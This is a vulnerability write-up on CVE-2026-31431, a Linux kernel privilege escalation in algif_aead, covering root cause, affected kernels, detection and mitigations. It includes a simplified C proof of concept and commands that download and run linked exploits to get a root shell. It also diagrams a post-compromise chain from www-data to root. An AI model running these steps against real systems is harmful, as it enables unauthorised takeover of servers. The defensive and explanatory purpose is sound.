
Technical analysis of CVE-2026-31431, a Linux kernel local privilege escalation in the algif_aead module, including root cause, affected versions, exploit flow, and mitigation strategies.
Classification: Local Privilege Escalation (LPE) — Linux Kernel
CVSS: 7.8 (High)
Impact:unprivileged user → root
Affected module:algif_aead(AF_ALG kernel subsystem)
The Linux kernel exposes a cryptography interface to user space called AF_ALG (socket family AF_ALG). This interface allows unprivileged processes to use kernel cryptographic accelerators — encryption, hashing, key generation — without needing root.
One of its modules is algif_aead, which implements the AEAD mode (Authenticated Encryption with Associated Data), used by algorithms such as AES-GCM or ChaCha20-Poly1305.
The bug is in how algif_aead handles sendmsg() + recvmsg() operations when the output buffer is smaller than expected. The kernel performs a copy operation (copy_to_user) without properly validating the size, which causes:
Buffer overflow → out-of-bounds write in kernel memory
Technically:
algif_aead_copy_sgl()
└─ sg_copy_to_buffer()
└─ memcpy toward an address partially controlled by the user
This write-out-of-bounds allows overwriting adjacent kernel control structures in memory — in particular, function pointers or cred structures — to escalate privileges.
Because AF_ALG is available to unprivileged users. Any process can open an AF_ALG socket and send data without prior authentication. The exploit does not need any auxiliary vulnerability.
// Any user on the system can do this
int fd = socket(AF_ALG, SOCK_SEQPACKET, 0);
| Kernel version | Affected? |
|---|---|
| < 5.10 | No (module did not exist in that form) |
| 5.10 — 6.1.x | Yes ⚠️ |
| 6.2.x | Yes ⚠️ (includes the PoC kernel) |
| 6.3+ with patch applied | No ✅ |
# Check kernel version
uname -r
# Check if the vulnerable module is loaded
lsmod | grep algif_aead
# Check if AF_ALG is available
cat /proc/net/protocols | grep ALG
$ uname -r
6.2.0-20-generic
$ lsmod | grep algif_aead
algif_aead 20480 0
af_alg 32768 3 algif_aead,algif_skcipher,algif_hash
⚠️ If you see
algif_aeadinlsmodand your kernel is6.2.xon Ubuntu 23.04, you are exposed.
⚠️ Ethical notice: This section is purely educational. Exploiting systems without explicit authorization is illegal and punishable. The examples are intended for controlled laboratory environments.
1. Open AF_ALG socket (algif_aead)
2. Send sendmsg() with oversized buffer
3. recvmsg() with smaller buffer → trigger the bug
4. OOB write in kernel heap
5. Overwrite cred->uid/gid to 0
6. execve("/bin/sh") → root shell
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <linux/if_alg.h>
int main(void) {
struct sockaddr_alg sa = {
.salg_family = AF_ALG,
.salg_type = "aead",
.salg_name = "gcm(aes)",
.salg_feat = 0,
.salg_mask = 0,
};
int fd = socket(AF_ALG, SOCK_SEQPACKET, 0);
bind(fd, (struct sockaddr *)&sa, sizeof(sa));
// Configure 16-byte key
char key[16] = {0};
setsockopt(fd, SOL_ALG, ALG_SET_KEY, key, sizeof(key));
setsockopt(fd, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, NULL, 16);
int op_fd = accept(fd, NULL, NULL);
// Large buffer → trigger OOB write
char big_buf[4096] = {0};
char small_buf[16] = {0};
struct msghdr msg = {0};
// ... msghdr construction with ALG_OP_ENCRYPT cmsg
sendmsg(op_fd, &msg, 0);
// recvmsg with insufficient buffer → kernel writes out of bounds
recv(op_fd, small_buf, sizeof(small_buf), 0);
// If the exploit worked, we are now root
if (getuid() == 0) {
printf("[+] Root obtained!\n");
execl("/bin/sh", "sh", NULL);
}
return 0;
}
This is a simplified outline. The real exploit requires additional heap shaping primitives to align the OOB write with the
task_struct->credstructure.
The following repositories contain documented functional implementations:
copy-fail-c — Exploit in pure C, requires compilation
https://github.com/tgies/copy-fail-c
copy-fail-tiny-elf — Standalone ELF binary, no compilation required
https://github.com/Crihexe/copy-fail-tiny-elf-CVE-2026-31431
# Clone and compile copy-fail-c
git clone https://github.com/tgies/copy-fail-c
cd copy-fail-c
make
./copyfail
# Expected result on a vulnerable system:
# [*] Checking algif_aead module...
# [*] Preparing heap spray...
# [+] OOB write successful
# [+] UID now: 0
# # whoami
# root
wget https://github.com/Crihexe/copy-fail-tiny-elf-CVE-2026-31431/raw/main/copyfail
chmod +x copyfail
./copyfail
External attacker
│
▼
Exploits web vulnerability (RCE) → access as www-data
│
▼
Uploads copyfail to the server (wget/curl)
│
▼
Runs ./copyfail
│
▼
Root shell on the server ✓
Estimated time from www-data access to root: < 30 seconds.
The only real solution is to have a kernel with the patch applied.
# Option 1: Upgrade to Ubuntu 24.04 LTS (recommended)
do-release-upgrade
# Option 2: If you already have Ubuntu 22.04 LTS
sudo apt update && sudo apt dist-upgrade
sudo reboot
# Verify patched kernel
uname -r # must be ≥ 5.15.0-107 on Ubuntu 22.04
If you cannot update right now, disable algif_aead:
# Create module blacklist
echo "blacklist algif_aead" | sudo tee /etc/modprobe.d/blacklist-algif-aead.conf
# Regenerate initramfs to make it permanent
sudo update-initramfs -u
# Reboot
sudo reboot
Verify that it was disabled:
lsmod | grep algif_aead
# Nothing should appear
⚠️ This may break software that uses AEAD encryption via AF_ALG (uncommon on standard web servers).
# Disable unprivileged user namespaces (breaks some Docker features)
sudo sysctl -w kernel.unprivileged_userns_clone=0
# Make it permanent
echo "kernel.unprivileged_userns_clone=0" | sudo tee -a /etc/sysctl.d/99-hardening.conf
sudo sysctl -p /etc/sysctl.d/99-hardening.conf
Create an AppArmor profile that denies access to AF_ALG:
# /etc/apparmor.d/local/restrict-af-alg
network af_alg, # deny in specific profiles
For the web process (e.g., nginx/www-data):
# Add to the AppArmor profile of www-data or nginx
# deny network af_alg,
sudo apparmor_parser -r /etc/apparmor.d/usr.sbin.nginx
Although it does not prevent the escalation, it reduces the initial attack surface:
# Verify that www-data has no sudo
sudo grep www-data /etc/sudoers
# Remove unnecessary SUID binaries
find / -perm -4000 2>/dev/null
# Restrict accessible directories
chmod 700 /root
chmod 750 /home/*
https://nvd.nist.gov/vuln/detail/CVE-2026-31431crypto/algif_aead.chttps://github.com/tgies/copy-fail-chttps://github.com/Crihexe/copy-fail-tiny-elf-CVE-2026-31431Document prepared for academic purposes — Systems administrator engineer, 2026
| Distribution | Typical kernel | Has patch? |
|---|
| Ubuntu 23.04 (lunar) | 6.2.0 | ❌ EOL — no patches |
| Ubuntu 22.04 LTS | 5.15.x | ✅ Patched |
| Ubuntu 24.04 LTS | 6.8.x | ✅ Not affected |
| Debian 12 (Bookworm) | 6.1.x | ✅ Patched |
| Arch Linux (2026-03+) | 6.8.x | ✅ Not affected |
| Mitigation | Effectiveness | Service impact | Permanent |
|---|
| Update to Ubuntu 24.04 | ✅ Total | Minimal | Yes |
Blacklist algif_aead | ✅ High | Very low | Yes |
unprivileged_userns_clone=0 | 🟡 Partial | Moderate | Yes |
| AppArmor AF_ALG deny | ✅ High | Low | Yes |
| Hardening of www-data | 🟡 Reduces | None | Yes |